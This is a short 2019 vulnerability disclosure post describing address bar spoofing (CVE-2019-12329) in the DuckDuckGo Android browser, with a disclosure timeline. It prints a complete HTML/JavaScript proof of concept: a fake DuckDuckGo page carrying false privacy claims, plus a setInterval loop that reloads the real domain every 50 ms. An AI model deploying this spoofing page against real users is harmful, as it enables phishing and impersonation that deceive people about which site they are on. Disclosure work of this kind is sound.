Tuesday, 28 May 2019

DuckDuckGo Address Bar Spoofing

Summary: The DuckDuckGo Privacy Browser application 5.26.0 for Android allows address bar spoofing via a setInterval call, as demonstrated by reloading every 50 ms.

Technical Observation: A browser that’s scoring in the 50,00,000+ tier of Android download. It was observed that the DuckDuckGo privacy browser ominibar can be spoofed by a crafted javascript page spoofing `setInterval` function and reloading the URL in every 10 to 50 ms.

Proof of concept: (Gist)

<html><body> <title>DuckDuckGo — Privacy, simplified.</title> <head><style> p.b { font-family: Arial, Helvetica, sans-serif; } </style></head><p class="b"><body bgcolor="#5DBCD2"> <h1 style="text-align:center;">We defintiely store your <br> personal information. Ever.</h1> <p style="text-align:center;">Our privacy policy is simple: we collect and share any of your personal 
information to 3rd parties.</p> </p><img src="https://duckduckgo.com/assets/onboarding/bathroomguy/4-alpinist-v2.svg"> <script> function fakefuntion() { location = "https://duckduckgo.com/" } setInterval("fakefuntion()", 50); </script></body></html>

The actual magic happens at `fakefunction()` above-crafted javascript file loads the real www.duckduckgo.com in a loop of every 50 ms whereas the inner HTML can be modified accordingly.

The above PoC shows the demonstration of the successful attack.

Timeline:
This issue was submitted to DuckDuckGo team via HackerOne on Oct 31st, 2018, DuckDuckGo rewarded with a swag on Nov 13th, 2018 but the issue was closed without a fix which says "team doesn't view it as a serious issue" and report was marked as informative. Further CVE-2019-12329 was assigned to this issue.


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